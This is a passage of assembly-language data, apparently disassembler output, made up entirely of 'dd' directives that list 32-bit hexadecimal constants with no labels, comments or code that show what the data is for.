		dd 0AF2E119Ch, 427A8668h, 0A96228E8h, 0E15BFB6h, 1039CA03h
		dd 0A8DC737Dh, 12BB02D1h, 9156FEADh, 4111AB5Ch,	0CCE370A1h
		dd 0A37FFFFFh, 2FB7CF5Dh, 0F49E2F7Ch, 640E1F45h, 0A555FF53h
		dd 547219EBh, 0FF905130h, 368DDBFFh, 38A4D8C1h,	0B2981B00h
		dd 11B8D61Dh, 0A06957Ah, 66338D0h, 0FFE25DD4h, 90664FFh
		dd 0BD148A34h, 94013C9h, 221AA781h, 518064E6h, 0FF158F3Bh
		dd 785BFFFFh, 0F3FF045h, 0F288AE85h, 8655FA9h, 0E0704DEAh
		dd 1194459Eh, 0FCD379C0h, 2FFFFFE9h, 79074C6Dh,	0FBDA0263h
		dd 0CD7DC46Eh, 0A317EC24h, 901D1C4Fh, 7A14C991h, 0D88B7FE1h
		dd 34E24CF7h, 0CE0CCA59h, 1E96D5F4h, 0FF83CA92h, 2A5DFFFh
		dd 46CDBCA0h, 3466CD9Bh, 7454DE6Ch, 56D81B61h, 1517A429h
		dd 0FFFFFF34h, 15A37B7Fh, 0A86404DEh, 0D397976h, 0D7E76227h
		dd 9C1F711Bh, 5B0C7754h, 0C4216DC1h, 0FF74CD59h, 56FFA17Fh
		dd 97A5526Bh, 0C0BF7822h, 63E7513Ch, 56CB004h, 6D001E0h
		dd 7CBC0308h, 44FFF06Bh, 33750186h, 0D95D6EA3h,	959ECF0Ch
		dd 0DB19AEh, 25FFFFA5h,	8EA565Ah, 0EDB30504h, 0E4A13B77h
		dd 315F453Bh, 6F80317Ah, 28FFFFF1h, 0BB26E575h,	0F92EA895h
		dd 0F5A11DDEh, 0C908131Dh, 539AE6CCh, 5244A51Eh, 17F85FFFh
		dd 82B25EB3h, 6BC12073h, 35116629h, 914C3B05h, 0ADFFC06Eh
		dd 3F3BD5BFh, 801E1B77h, 16120D22h, 0A530895Eh,	2D23621Bh
		dd 0CFFE2DCh, 8B3DB1DCh, 0F7042819h, 0D9A67E2Dh, 8D1A278Bh
		dd 1C4BFFFEh, 0FDF8754Fh, 7F056DB2h, 880E8AEEh,	746420Ah
		dd 0FFFFFADBh, 0EB5BF3FFh, 226EB5ACh, 59902247h, 989D40F1h
		dd 0B3B4EBC1h, 83B6BA5Fh, 14609FC2h, 0FFFF2557h, 339FDFFFh
		dd 6A283AF1h, 0F651E12h, 516EC8BBh, 860C7D58h, 4BB13BD5h
		dd 1E839DD5h, 0FF14CAEBh, 0D056FFFFh, 56B7FD0Ah, 0E544D185h
		dd 8A0F751Bh, 4008880Ah, 0D64EA42h, 0FF1E88D3h,	0F4FC5BFFh
		dd 0D74F080Eh, 4D9DB3BEh, 23CEE37h, 2F0A39Dh, 338B5ED4h
		dd 0FF6A5A31h, 50FFFFFFh, 2D76D688h, 4B580611h,	0B84C8DA1h
		dd 13138790h, 0CB23D882h, 0B926653h, 13FC1931h,	0FFC34972h
		dd 2FD02FFh, 0C019C317h, 7C1E6D74h, 0A5AD81Eh, 7E028B6Eh
		dd 0A1DD03C9h, 0EA5FFF11h, 0A0602BFFh, 8406C976h, 312B3010h
		dd 68885CB3h, 0EF5E0920h, 14248DA4h, 0B7FA9711h, 0F00CAAFEh
		dd 0E2BA1D45h, 0E7563225h, 6E0B846Ch, 0FF563ACEh, 71FF12FFh
		dd 0E0171456h, 0F6B5F350h, 27CB2581h, 775835EEh, 22878134h
		dd 89587636h, 7A12FFE8h, 48C74405h, 0CFC8E4F3h,	0F8BDC700h
		dd 1870BF6Fh, 7CFF73Ch,	43102018h, 189320E5h, 813C00ABh
		dd 17EDFFFFh, 0E2842A28h
		dd 0C3308D12h, 5547DB6Bh, 3F5869E9h, 2851E3EEh,	0BFEA4448h
		dd 0F4FFA5D4h, 9A562E88h, 0DC6983F0h, 0E740CCFCh, 0E96EEFAh
		dd 0F4BFFF8Bh, 0EE9770FFh, 0DCF69DEBh, 27285672h, 8BCC69BCh
		dd 0C9CB1128h, 7ED1E77Fh, 0FFAB0C15h, 47FFFFFFh, 0DCF1143Bh
		dd 0DD5DA22Eh, 0CC635110h, 1668E1C0h, 36C0D62Ch, 880D88B0h
		dd 11401A0Ch, 0ADB666B5h, 74F46FFFh, 27F21BCCh,	79FE22Fh
		dd 0EC658DC7h, 0CA22C03Fh, 0F6FFFF0Ch, 83D8A2FFh, 0B453A8C4h
		dd 0C5B61C90h, 81FC7A4Ah, 83206903h, 807B20Ch, 760D100Ch
		dd 0BF9BE932h, 1814C8FDh, 6200E36h, 24078320h, 300C2C28h
		dd 589D1C34h, 7EDFEDFEh, 3A3C3832h, 0B20D0D40h,	7444012h
		dd 0C8322F48h, 5854504Ch, 9C5BBB0Ch, 5C82605Fh,	70336460h
		dd 78742EC9h, 0FFFF77CBh, 81D8B67Ch, 0A0DFD22h,	92E4B984h
		dd 908C884Bh, 98942E05h, 0C4B9A89Ch, 0A0E0DFC6h, 7584A8A4h
		dd 5E2C3932h, 0FF9D4F46h, 6CBFFFFFh, 4053B84h, 936C8482h
		dd 4C11049Eh, 0DD8C9B2Eh, 115035FAh, 5D7E3F56h,	6022D6C8h
		dd 0FF52DD40h, 851054FFh, 11B2172Ch, 0C85C1458h, 18CB2176h
		dd 0F64A860h, 0FC5BF05Ch, 6C24965Bh, 85AB3A13h,	1D8535Fh
		dd 0AD007A85h, 0BBDFFFFEh, 0EAD8970Ah, 3C2968Ah, 0F1EB97ABh
		dd 32015DAh, 8317FFD7h,	0FFF46F62h, 0A5632CFFh,	0A3C61A9Eh
		dd 0AAB5EE73h, 0B2F7B451h, 60700C48h, 89B80A51h, 0FADD4B4Bh
		dd 3228CDFFh, 253A02E3h, 6EEDD0B1h, 6163342Eh, 0F43B6808h
		dd 1DFF85FFh, 4344B74Bh, 19B841E5h, 0A35B03EAh,	57F91AD8h
		dd 751A3304h, 0A97FFF5Bh, 0D2D55D6Fh, 93C488Bh,	102E0D1h
		dd 0B407DAE7h, 183D43C3h, 0FE05FE8Fh, 0EE468BFFh, 0E75CEB67h
		dd 17DC3480h, 8B66A402h, 7CD3CD6Fh, 0C5C6CE5Fh,	85FFFC4Bh
		dd 88EB029Bh, 66C08DACh, 0D877DF8Dh, 0B33AB6CDh, 0D6FFC1F1h
		dd 0D9FF54FFh, 46204BC5h, 386A7452h, 91F89932h,	0D0CB0468h
		dd 0FFF56EFCh, 81121EBFh, 8B07A453h, 1B051AAEh,	0BBCB00Ah
		dd 0BFA6CB41h, 1BFF3402h, 6D45A5FFh, 1E5D2B54h,	9E80D86Eh
		dd 0D05356A8h, 1915B08Bh, 0BFFFF22h, 8DFBEFDh, 0C811C859h
		dd 0ACC4D13h, 155720CEh, 8A5F4F59h, 0B6887C0Fh,	0FFC6C5B7h
		dd 1D8BA35Bh, 0D4177484h, 0E75E8345h, 0E3C07281h, 0FCBFFFFFh
		dd 4B0E912Fh, 85464512h, 62815A00h, 0AF801133h,	0AC3FD4C3h
		dd 19642FD8h, 0FFD0BF6Dh, 3B4659BFh, 815B7EF7h,	365395FEh
		dd 190F9060h, 2D38E32Fh, 0FFD6B80Eh, 8C4BFFFh, 516C44F3h
		dd 4700D40Fh, 3909C31Bh, 0AA4AFA09h, 4C77533h, 0FF011AA6h
		dd 84114BC2h, 0C81D02D0h, 0E47136B8h, 1B1DCC25h, 2FFFFFFh
		dd 4E0B56B9h, 0D46F1AFDh, 0CCB97FACh, 680FDF3Bh, 64E0531Ch
		dd 3321EE83h, 0FFFFFFB7h, 0BC6068FFh, 1B8ADDB6h, 0D44D5BEBh
		dd 992C11EEh, 0CA230A81h, 466E8F25h, 56FB54B4h,	0B5D68A23h
		dd 37FFFF32h, 7F655FEh,	46245022h, 0C4165BE4h, 8B5AEFE0h
		dd 0EB5161A2h, 6EF4845Dh, 0D0312D10h, 0C2FFFC6Fh, 2C9E0189h
		dd 0F803A050h, 76C0B499h, 513F281Ch, 0BF2BCC8Dh, 91BE2DF4h
		dd 372A37F1h, 0BC91B50h, 9903A0C1h, 0DF1CBC6Ch,	15FFFFE2h
		dd 38599F07h, 97622E4h,	7B77F8E3h, 0EB8C9A18h, 0A37F2A0Dh
		dd 0FF455960h, 29FFFFA5h, 6069884h, 0D7F0A2DEh,	71FC4AEBh
		dd 0CC8BA83Dh, 229458DBh, 0BD01D126h, 0FFFFD513h, 1B16ADFFh
		dd 33348F7Ch, 86CFCE55h, 0A84542EAh, 48BBEB5h, 1C2FC1CAh
		dd 0BF30C1B8h, 79BFFFC0h, 0F2EDFD20h, 72B5A001h, 49D05FC0h
		dd 8050A0E8h, 70E0B571h, 0FFA97F0Ch, 56E50AFFh,	4251EF99h
		dd 2B03D05h, 8BC6832Ah,	0B774AB54h, 7C9E00ACh, 817FFFAAh
		dd 0C70159FFh, 2172937Eh, 0B7FF8929h, 9C90EAAh,	0F958C8EBh
		dd 1ECE8205h, 0FFFFFFEAh, 8D1C8DFFh, 8B96F0FCh,	174B1B65h
		dd 0CA314C33h, 402681E1h, 8825510h, 0E192EE7Ch,	0D95BD9B7h
		dd 0FFFFFFBDh, 0F9839FFh, 82CAF603h, 18B4481h, 83A16113h
		dd 0AA2C9728h, 0BB550478h, 6C058385h, 835F4D1Ah, 0F8171B4Dh
		dd 49CCDFFh, 1E941430h,	93670AACh, 6A442CA8h, 0D69B3F44h
		dd 5FFFFADFh, 2859D9C5h, 594FAE8h, 0E6B90DDCh, 0A6052446h
		dd 0EF28B539h, 0FFFFFFFAh, 6DD85883h, 75A0339Ch, 9D2A36Ch
		dd 7F15B138h, 163E7027h, 0A730E848h, 20B58B2Ah,	17F837Fh
		dd 742AEED9h, 12E383DEh, 52237FCDh, 0FC576AFDh,	8DFE85FFh
		dd 0C32C653Ch, 0C9BC488Ah, 0E8D6F8D6h, 0C80F9D0h, 4D8890F4h
		dd 0FFFFFFABh, 0F843390Bh, 8B45ABB7h, 0D1F7798Dh, 403BC1F6h
		dd 8D6B0ADFh, 2BBA696Ch, 0FF3C1472h, 0EFFFF0BFh, 7AFE870Fh
		dd 29C26F40h, 96C67F08h, 85F637D8h, 0D0200355h,	0CB66059h
		dd 0FFFFFFE9h, 0C46C2DFFh, 0A212C552h, 36848648h, 0B66DBD1Ah
		dd 34FF2050h, 246BAE03h, 45B30384h, 0CC99C028h,	0BFFFFF56h
		dd 0CF41A8F5h, 6DEA16C0h, 28358D9Fh, 0BD03B065h, 2B451BA4h
		dd 3D1FB334h, 0EA820F39h, 12FFFC4Bh, 0FF86C50Dh, 127651Ah
		dd 430EFB73h, 84AB228Ch, 2FFF8541h, 0CB5A5A55h,	0A3CE583h
		dd 4ACBF660h, 886825CDh, 0FFFFFF15h, 1A017DFFh,	51146EAEh
		dd 0A1AC79DAh, 7ED0BFBAh, 6545B761h, 30EB45AFh,	0C62B9CB6h
		dd 666B8503h, 0FFC6EB73h, 7D62F4FFh, 2DDD995Bh,	2B980B88h
		dd 0A4459C81h, 77C6EE00h, 0FF978D82h, 0B97FD4BFh, 94A059B7h
		dd 6D75AC1Ch, 0AC6F99Bh, 4F324566h, 0B36C0049h,	0FE2DFF77h
		dd 18B06BFFh, 0F62E858Dh, 45B864F4h, 20258374h,	0B9A0458Ah
		dd 0E95EF8B5h, 25FFFF0Fh, 0D4208CFEh, 9F38497Dh, 0DCC3BD2h
		dd 8C6395Fh, 0D6D0400Dh, 2E409DEh, 0EDFFC432h, 0E33C40FFh
		dd 1C02B5BEh, 0EB4AE161h, 8ADF0197h, 284085Ah, 830EB7DEh
		dd 180BFFFFh, 66A9437Bh, 46C210FAh, 0FB9F8346h,	0B5C36C18h
		dd 2F74A3ACh, 227A97FCh, 0D9B40339h, 66FBACA7h,	4459EF3Bh
		dd 6F58DE05h, 606FAB71h, 0C2641E85h, 4443BC3Fh,	4BDBD374h
		dd 8FEDA97h, 308B68DDh,	79FE5339h, 6C8F1D9Dh, 0BFFF5262h
		dd 801D67F5h, 0A1D0A3D8h, 0CE4B9CF1h, 861C2DD8h, 5E9139DBh
		dd 0A97FFFFFh, 0DC6365D0h, 4D20F87Eh, 4D2BC3B0h, 3BB4E99Ch
		dd 0FAB57388h, 0FF27A5B7h, 41FFF52Fh, 8AB05DB0h, 0FA804112h
		dd 30E02E0Ah, 0F2C668D6h, 10885A40h, 0E17D8105h, 0A4FFFFFFh
		dd 0FC2BB0F3h, 60D17236h, 5DF02B33h, 2479E494h,	0CA5A0B34h
		dd 6B6C9401h, 0FF451578h, 2B7FFFF6h, 0B2B73B92h, 0CC46B175h
		dd 9A029DB0h, 916B099Dh, 98BB1A17h, 9A585E57h, 0FED82531h
		dd 530283EDh, 699C414Eh, 0D65EDE1h, 0FF06660Bh,	40FF46EDh
		dd 558B5D40h, 0DEC1A39Bh, 9DFF1089h, 84C9C7A2h,	0FA27254Ch
		dd 22C0BFFFh, 5708C9C3h, 0C39CFF77h, 0A496469Dh, 9E15A42Dh
		dd 1F60CA6h, 0DFFFFFE9h, 2CA45EA9h, 0B725EC6Ch,	0A4CAA0A4h
		dd 0AA3CE03h, 0DCE6859Fh, 11C60376h, 5EDFF825h,	0C3D7A062h
		dd 52C882A6h, 68D1CC01h, 0D7E287ABh, 5F802DFFh,	108CA56h
		dd 56D54A06h, 0AB04AF6Ah, 176D1DA3h, 0A0FFFFFEh, 0D0AAAE19h
		dd 0BD797431h, 0CB98352Fh, 8D502F3Eh, 2C353584h, 90C4B16Bh
		dd 0FFFFFF42h, 0B7C1D6FFh, 57351C85h, 0D47F2B94h, 5B2409EBh
		dd 414898E7h, 0A4DA470Eh, 0B6D992B4h, 36DDA012h, 0BFFFA57Ch
		dd 8CBD51C4h, 0E094831Bh, 30FF9C8Bh, 930C22E7h,	0FF330C47h
		dd 2CFFEB76h, 3016C5D0h, 0F0A0144Ah, 0C0462256h, 81013D6Dh
		dd 5E6E6B82h, 0FFF16F07h
		dd 0CEA28CFFh, 0EBC660FAh, 27BAD52Bh, 0E0434089h, 9C4EFF00h
		dd 0CF708480h, 897FFF62h, 92687BFFh, 341301Ch, 0D83698A0h
		dd 9A8DF708h, 24DC0EE4h, 0DE0D1867h, 41BFFF10h,	0B929688Bh
		dd 2E1BD530h, 46E07642h, 0C9A6B2D4h, 0C4BFDB5Ch, 48BC19FFh
		dd 16AEBF74h, 0A01EB90Fh, 5A314ACh, 0CB8B5016h,	2C6FFFA8h
		dd 617FEF4h, 99B2F2E7h,	0CA2A3DFFh, 7477D352h, 0B79D4C2Ah
		dd 0D4BFFEh, 0BFBF9205h, 0D2043954h, 0C7080C49h, 11FB1841h
		dd 4BE8DF15h, 75B738FCh, 3BA1040Ch, 0DE08D112h,	61830947h
		dd 0FF06FF04h, 0C05452FFh, 14F80E1Eh, 0C24C810Eh, 6A51C221h
		dd 1C80BD08h, 0D095718h, 0FFF8B731h, 9987A2FFh,	8B0931C8h
		dd 916E50ADh, 144FF0Ch,	0CD421BF7h, 3EA3D5DDh, 0FFFFFFC3h
		dd 14A0A1FFh, 57ED799Ch, 5E14E251h, 6EB2E21h, 0B6FC535Dh
		dd 0A38C7D80h, 0AF046A19h, 66E08B9Ah, 5D2FE094h, 88A3DFFAh
		dd 85882A7Dh, 1B3543BDh, 40B78218h, 5FD6A37Fh, 0B91B1A00h
		dd 0FF542A57h, 20C8991h, 0ED237DFCh, 0B8FFFFFFh, 10F94283h
		dd 6AEAE46Eh, 84025EFEh, 0A021D8A1h, 0B68CEE6Bh, 93859684h
		dd 0FFCCC2FFh, 0ABFFFFD2h, 7C11CDAh, 0EFC6DB7Ah, 0C0B75B9Bh
		dd 423E315Ah, 5FCE2E3Ch, 7B9BE020h, 0FFFFFFD2h,	804E75FFh
		dd 3372803Dh, 39707F7Ah, 35FFE74Ch, 0D16E166Bh,	0DB8E008Bh
		dd 2227266h, 1CA6B711h,	0C5BC0B6Dh, 1A7709FFh, 6E81FAD8h
		dd 674D0E8Fh, 0F54E81EBh, 0FFFFFF2Ah, 0CA2180C2h, 1E562024h
		dd 9C405984h, 167D1470h, 80150628h, 0BD12130Ah,	7FC9AED9h
		dd 81FFFF8Bh, 351E2B48h, 0ECD8BC15h, 2D2E5020h,	1E3635ECh
		dd 673D1EE1h, 0FF608117h, 3EFC6FFFh, 0A076157Fh, 44D3BD99h
		dd 2FDF35C0h, 0E23473A0h, 7D4B14F9h, 0B05ECAC4h, 0DF46F412h
		dd 29962EE2h, 565255F9h, 1ADC050h, 5C2FFF65h, 0CA21C468h
		dd 50F7FB1h, 98C67964h,	0F3050980h, 0FFD2FFC2h,	46C09716h
		dd 85F5F358h, 2ADF4518h, 170D76FBh, 9782B65Fh, 0B3FAB7FEh
		dd 7FB918A6h, 7981AFC2h, 0D139B148h, 53737690h,	0DFC0A2A2h
		dd 725C16E8h, 55E15294h, 7FACBE0Eh, 0DFC406FFh,	0A85E03Ah
		dd 4E5A32BAh, 0C42DDB55h, 0FF5C3676h, 0FFFFFFFh, 76570B62h
		dd 868A92D8h, 0C0AC82Fh, 38C54C21h, 296C1242h, 35E457BAh
		dd 7928B32Eh, 0FF8C1474h, 6506FFFFh, 676C8153h,	0B50C9AEFh
		dd 0B506888Bh, 0C0015606h, 1FCE02DCh, 0FFBC30FBh, 23FFFE97h
		dd 6DF572A3h, 510CA75Eh, 0E2545753h, 4C3EB026h,	7904A35Dh
		dd 0E8AD6D53h, 0FFFFF138h, 0BAD114FFh, 0C5201D62h, 0CB48B7A5h
		dd 0EB70BD74h, 83AF54B9h, 197ADB30h, 76BE248h, 0BFFEDFC1h
		dd 0FFB4151h, 60D26386h, 2C3766EEh, 0B5ABB709h,	0FF00D13Ch
		dd 0CFFB7FFh, 0C5567056h, 0D1E3620Bh, 10F528E6h, 0FBF7FC4Bh
		dd 0D82060CEh, 8BF007FCh, 0FF64F7C3h, 17FEA5FFh, 0A15FEEBAh
		dd 0D13057C8h, 5C0B47EBh, 0FED75429h, 0D12357FFh, 0FFDBD1E9h
		dd 0D1FFFFFFh, 0BD8D1EAh, 0F7F475C9h, 0EE252FF3h, 145D2EDEh
		dd 0E6F74421h, 3B0E722Dh, 72087727h, 0F8DEEB52h, 15E25C6Fh
		dd 4E212B6Eh, 0F9128E2Bh, 0DD37416Dh, 0B81709DBh, 0F79C97F0h
		dd 54DA30DAh, 0CA566AADh, 0FFD98B05h, 67FADFFFh, 4274C25Eh
		dd 8857976h, 0A5115FE1h, 558AF4FFh, 1548414h, 1234E11Dh
		dd 0FFFF026Ah, 546075FFh, 32FD2397h, 77013014h,	2188AC54h
		dd 4F04A0A3h, 5A8ECC0Ah, 75BF6205h, 3751FFA9h, 0B1FC8860h
		dd 0CFAA414Ah, 4B69076h, 0FEE06AEFh, 58FFFFFFh,	431B11FFh
		dd 35231F75h, 0CBA4192h, 1B4B8A7h, 0FCDF6EDh, 0F1954DAFh
		dd 3A9A689h, 2FFE0E01h,	3A318094h, 90176221h, 4B0F6977h
		dd 0FF8531F0h, 0C3840DFFh, 4425050Bh, 3784117Ch, 5195F23h
		dd 0B875E2B8h, 0E25FFFD9h, 0DBA2BFFh, 11A94768h, 618C571Eh
		dd 75100DABh, 12BF5661h, 0A7215D01h, 0BFFFFF14h, 6F04CF0h
		dd 7233C163h, 0BB8D1067h, 0F58A2459h, 0F1B7B3C2h, 6A611086h
		dd 564D69E7h, 0AFFFFFFh, 3EEB11EFh, 23A5270Dh, 431108EFh
		dd 7C577F20h, 0A3F41D7Eh, 0EF357870h, 0FFFAA8D6h, 641D6815h
		dd 0F9F37B1Ch, 5C3D6035h, 702F7D6Fh, 7C0DFF89h,	8E472391h
		dd 2519581Dh, 0CDE61F50h, 8DA97F2Dh, 805C4CAAh,	0D40774AEh
		dd 517BBE7Eh, 4F551D5h,	550F78A3h, 0FFFFF884h, 0DAAC51BFh
		dd 1402CCDBh, 1CA10177h, 0CD06DB29h, 68130DE6h,	1DC07309h
		dd 13EED6Ch, 0D551BE97h, 0A1323E08h, 8CBDDB54h,	0D8DFFF0Ah
		dd 346BDCF8h, 32FA8DB8h, 0BA606A56h, 68DF049Fh,	0A40F35Ch
		dd 0FFB7FE44h, 888593FFh, 209FAFh, 25010178h, 409C858h
		dd 2335E691h, 0F4C655C5h, 0CC2F3BC9h, 2DFFFFEAh, 5DC88038h
		dd 91C10F70h, 12327705h, 0B252F648h, 2877FC80h,	297FFF45h
		dd 0CA020320h, 5224E00Dh, 13DBAFEh, 0A4C8DC9Fh,	755BFFA8h
		dd 487F5055h, 0FC762E08h, 460043C9h, 0C37FFFD4h, 0A3939810h
		dd 97CB3D28h, 3A6A8DB7h, 0F6062C93h, 0AB42FE17h, 4289DC9h
		dd 89B33D3Dh, 6C6821BEh, 0CAFFFFF4h, 3FB37C3Eh,	0C8E08459h
		dd 40B34417h, 1AF01208h, 6AB73C82h, 0FFD446ECh,	0CF407B16h
		dd 1B0F8B64h, 0DB7BD51Bh, 0FFD4477Fh, 0B151FA83h, 2BDD8952h
		dd 0DA34D9F1h, 1FBB51A6h, 0FD446409h, 0F60BA8FFh, 44080BEBh
		dd 0BFF88B0Ch, 0CB078550h, 0FFFED4BEh, 3401A005h, 0A46E13F6h
		dd 0AA040888h, 0A10E96A1h, 10566E20h, 8DFE0DFFh, 0A42AB43h
		dd 5170158Fh, 0D43E73EEh, 0FB345B28h, 0FFD0BD0Ah, 225980FFh
		dd 2143A028h, 61D08A4Ah, 88A7688Ah, 6C9013D3h, 0FE15D25Fh
		dd 0E146FFFh, 2768AC8h,	0CDCCABB0h, 2C3CB10Dh, 0C338C4B8h
		dd 0FFFF04B9h, 3A3AA506h, 23D06CD9h, 4B11C4DDh,	25E06Fh
		dd 0BFC8ACF0h, 72FFFFF1h, 94A88B0Ah, 2FA1E16Ah,	0C32404D2h
		dd 5985652Dh, 740FADE9h, 3B5B7C21h, 0FFFF810Dh,	53733BFFh
		dd 89C125Fh, 0D8AF1746h, 4F475013h, 0E40F6C6h, 0E0DAA35h
		dd 6EFB4506h, 1D7EB7FFh, 0B796232Bh, 404910BFh,	53137549h
		dd 0A5EBF46Ah, 0FFFFEBF5h, 0C45785FFh, 0CAA59C5Bh, 60CB7E8h
		dd 653406FFh, 2D154CD4h, 0A3021618h, 0BACD2849h, 17F897D0h
		dd 8327A1E2h, 1A7322D8h, 2BDF7ABAh, 37FFC2D2h, 24759648h
		dd 0CA45C0BCh, 0CD1309E2h, 9B6960B4h, 0FFFFFFFFh, 8180C7BDh
		dd 0F7673C55h, 54B1B42Ah, 5EE82693h, 0F8A9368Bh, 0F2B5196h
		dd 8185A61Ah, 56882902h, 83FFFA17h, 4A04BC4Ah, 0D0BD4DA9h
		dd 58A13147h, 87CF5CAAh, 0FFFFFC2Fh, 38CC187Ah,	3C50290Ch
		dd 671E92D7h, 0B6CF6587h, 0E56C61B2h, 64913337h, 0FFFFFF04h
		dd 0E5A8328Dh, 0D50D8EC2h, 74B7E035h, 6F54964Eh, 0B1FBC00h
		dd 0CD0B054Dh, 0FF380CA1h, 0B8FF4BFFh, 6B67700h, 0EB010D66h
		dd 0EEA046DAh, 51084617h, 67D1F44Bh, 0D7F5493Bh, 0FFFC6F33h
		dd 75023BFFh, 89D03BDBh, 0AAD40C4Fh, 0EAF24310h, 0E004A8E9h
		dd 0FA0F5032h, 0DE9D3DE8h, 0BDFE2DF8h, 885C0D68h, 0A37E8059h
		dd 52F05556h, 0E2EC8330h, 97FFFFFFh, 0F98E182Ch, 545E6A08h
		dd 6BB302BCh, 385E5244h, 0E39CF424h, 2D137480h,	0E10E7410h
		dd 68FB7FFFh, 0B088DA10h, 16426607h, 82743Ah, 0C5161457h
		dd 2220C4ACh, 0FFCB04F9h, 0ED7FFFFFh, 8260EB6h,	0D0073656h
		dd 0ACCA6A54h, 0EE42061Ah, 7DC90832h, 0FE251939h, 0B9ACC44Fh
		dd 5E05FF01h, 39257EE0h, 71207CCAh, 726FA144h, 0C2950F08h
		dd 0BFFFFB8h, 9E60CFDh
		dd 0D577B9CDh, 2DBBE184h, 0B43D2487h, 323BB1F1h, 5E382072h
		dd 0FFFFFFF4h, 809B1BFFh, 0E859E591h, 4D654F0Fh, 80B03161h
		dd 0C6E3BED0h, 5AC7338Ch, 941E70CCh, 5A50C069h,	0F85FF12Ch
		dd 82B0B1FFh, 3A376D4Bh, 7523618h, 3A6BA9Dh, 0BB23C862h
		dd 0FFBDBE31h, 622FFFFFh, 0A3252D50h, 8D3FEA45h, 0FC685FFFh
		dd 3BEE02EAh, 577D753Dh, 3558A5C3h, 835E7F2Ah, 0A8A5FFFFh
		dd 39F1A066h, 0EB447418h, 5F1183A7h, 874D0FDh, 0FF488BC5h
		dd 37FFC0Bh, 5DEC46D4h,	7C14FF2Ah, 7C912628h, 569CCF04h
		dd 65B113Ch, 0FFFFFF32h, 66ACFEFFh, 61CA52Eh, 0D39EEB47h
		dd 0F192C410h, 84B17DC0h, 0EAF011C3h, 0B1435782h, 7B452FC2h
		dd 7FF42F80h, 0F3DFE189h, 0A9663F75h, 2A5F3108h, 8145B6Eh
		dd 85FFFF93h, 6E2B3EFEh, 50572C7Eh, 0BC0118C4h,	0DDE38C59h
		dd 0B4921D06h, 0C084360Fh, 52B7FF79h, 0EBEA0FFFh, 0FD76E021h
		dd 0CBABC389h, 80582814h, 6683385Dh, 0FEA5FDE9h, 0EA306FFh
		dd 47749946h, 8F590975h, 0C1B33E2Ah, 15A68653h,	0F548808Eh
		dd 2D1BE2DFh, 46D9BF0Ah, 0C661623Ah, 8E41F507h,	0F8DFFFE6h
		dd 441B2D2Fh, 0D82909B1h, 0DC1E702Eh, 62B616C0h, 75840E42h
		dd 0FE7F3544h, 0CCEB7837h, 0B34F7D41h, 39B58DFCh, 3B457438h
		dd 445E841Bh, 0B78B7FF5h, 20566BCEh, 0E91302A7h, 1BB7AD3Fh
		dd 17E6B0C4h, 6E2FFFFEh, 55392F1Eh, 0C8CDD217h,	0C0681187h
		dd 19EB1EE8h, 144FD539h, 0FFFFF88Dh, 7690BDC6h,	808DDCFFh
		dd 75DC4541h, 0EB46CCCCh, 0C20D8D84h, 7CE01A43h, 17FFFFFFh
		dd 2F45CFA6h, 74F510A1h, 50B2FBC1h, 1CF6C30h, 0DC7DBC78h
		dd 42F0EB30h, 5B111308h, 34F0B85Dh, 0EAB46348h,	47FFECBDh
		dd 0F65DB85Dh, 1CFFFFFFh, 22C30CFh, 2C4628C4h, 9E2D52A7h
		dd 8013415Ah, 8DF4426Ah, 0B44C76DAh, 0E2BA34C4h, 0FFFFFFFFh
		dd 6F76B5BDh, 0C97C0204h, 957F2405h, 1E8A5356h,	11DAA841h
		dd 0E017E7Fh, 0A599AB55h, 0F4EC6A17h, 86FFFFE5h, 75518C1Bh
		dd 17EC1142h, 550B2A91h, 42EE18CEh, 8A05BEB7h, 0FF834B1Fh
		dd 0FB23BD5Bh, 70A28A2Dh, 18EA0585h, 2BD8EB02h,	0F5BF2B0Ah
		dd 0D882637Fh, 498C031Fh, 3E65D657h, 247984F6h,	9D378F0Fh
		dd 0FE0DFFFFh, 0CDFF282Ah, 0F730EAA5h, 8A340A14h, 74783C07h
		dd 0DB583C0Dh, 12633DD3h, 0A97FFFFFh, 0A10A308h, 632F1036h
		dd 2E8406BBh, 4250E75h,	0C8470475h, 627DE394h, 0FFF4BFFDh
		dd 652A8EB1h, 6A970Bh, 0CB9CB9Fh, 0AAD80431h, 9574A5FEh
		dd 0E983CBBEh, 0BFFFFC1Bh, 3851ADDh, 0DFC6DDB4h, 0CB8A31B1h
		dd 0C161E980h, 3771619h, 5FFF54CDh, 6FF7F028h, 2B51C18Ch
		dd 8B11973h, 405E7216h,	4F27B7DDh, 0FFFF817Fh, 2176CA3Bh
		dd 0B75F040Eh, 6382DD11h, 207A4F18h, 86C4B30Dh,	0A00C7D9Fh
		dd 0FF897E97h, 0C08B5CEBh, 752FD33Fh, 0D9031EAFh, 598CF7A3h
		dd 0FFA9DBBEh, 6C2FFFFh, 1B754077h, 103EA7A8h, 8881BD02h
		dd 480AEEE8h, 9778093h,	0A9042CE2h, 7FFFFF83h, 27760E17h
		dd 150F69Dh, 8C32342h, 592774B5h, 0C44E954Bh, 0B3118ADBh
		dd 7FFFD1BFh, 73D637F6h, 53522D0Dh, 2A38D132h, 8426A247h
		dd 0BE61F7F1h, 0BFF158Bh, 0E12FFFCh, 23187B5Bh,	5D55D930h
		dd 2A0E438Eh, 1087A5DBh, 0D850DB0Dh, 85FF0775h,	0E322C5BFh
		dd 6869A137h, 0F50DC2BEh, 0AF814081h, 3E06F55Ch, 0A944BFFFh
		dd 74AF77EFh, 770B494Dh, 0B7E9DFD5h, 0B65AB341h, 0FFEDE85Fh
		dd 0A266720h, 1B746FE4h, 6BAAD950h, 7A3A2623h, 72E7FFEEh
		dd 0FFF6FFFFh, 77E33A06h, 3AE60202h, 0C6C309C7h, 0C10B7512h
		dd 0B3A06ED6h, 0AC933D1h, 62A6B9FEh, 0FFE8DC1Bh, 7250378Bh
		dd 61D9F702h, 0C001EB5Bh, 423EE741h, 0A37FF06Fh, 68F5DA1Eh
		dd 0A34633A4h, 0F830E20h, 4556C72Eh, 0F5BF85FFh, 73AC6298h
		dd 4ACD970Eh, 31D67A34h, 0B5705E11h, 6292582Ah,	0FFFFFFF0h
		dd 8FF4D4Bh, 0B1CF6E9h,	0F642EBC3h, 0AC37DC46h,	5059B6A7h
		dd 8168D836h, 55FBB046h, 28DE8DFFh, 57D1D02h, 8A0CB849h
		dd 4B7F0725h, 0FFFF990Ah, 55E2FFFFh, 1C7E1DB4h,	207F0C02h
		dd 51F90C53h, 4ABB0398h, 75C50D9Ah, 86820CF7h, 31856BC0h
		dd 0FFC05C4Bh, 0F804FFFFh, 2F80C6BDh, 19C5099Ah, 0DB98E2A7h
